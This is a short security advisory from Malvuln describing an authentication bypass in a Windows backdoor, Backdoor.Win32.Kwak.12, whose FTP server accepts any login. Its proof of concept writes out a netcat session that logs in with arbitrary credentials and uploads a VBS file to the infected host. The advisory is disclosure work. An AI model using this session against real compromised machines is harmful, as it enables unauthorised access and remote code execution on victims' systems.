Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Kwak.12 Vulnerability: Authentication Bypass Description: The backdoor runs an FTP server that listens on TCP port 37885. The program acts like a typical FTP server and prompts for logon. However, anyone can seemingly use any combination of username and password to logon to the system and run commands. Logon using any user/pass combination. USER 666 331 Password required for 666. PASS 666 230 User 666 logged in. Type: PE32 MD5: c25393545e5ead3a35996ef9a887bd34 Vuln ID: MVID-2021-0147 Dropped files: Disclosure: 03/25/2021 Exploit/PoC: nc64.exe x.x.x.x 37885 220 Enter Login Computer Name: DESKTOP-2X3IHHP Local IP: 192.168.88.128 User On This Computer: victim Drive C: 14.99 Gb Free USER malvuln 331 Password required for malvuln. PASS root 230 User malvuln logged in. 250 CWD command successful. "C:/TEMP/" is current directory. SYST 215 UNIX Type: L8 Internet Component Suite PASV 227 Entering Passive Mode (192,168,88,128,194,62). STOR a.vbs 150 Opening data connection for a.vbs. PASV 226 File received ok 227 Entering Passive Mode (192,168,88,128,194,63). Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).